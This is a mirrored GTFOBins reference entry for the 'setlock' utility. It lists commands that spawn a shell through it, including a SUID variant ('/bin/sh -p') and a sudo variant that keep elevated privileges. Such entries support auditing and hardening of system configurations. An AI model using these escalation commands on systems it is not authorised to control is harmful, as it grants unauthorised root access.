mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
12 lines
177 B
Markdown
12 lines
177 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp)
|
|
setlock $TF /bin/sh
|
|
suid:
|
|
- code: ./setlock - /bin/sh -p
|
|
sudo:
|
|
- code: sudo setlock - /bin/sh
|
|
---
|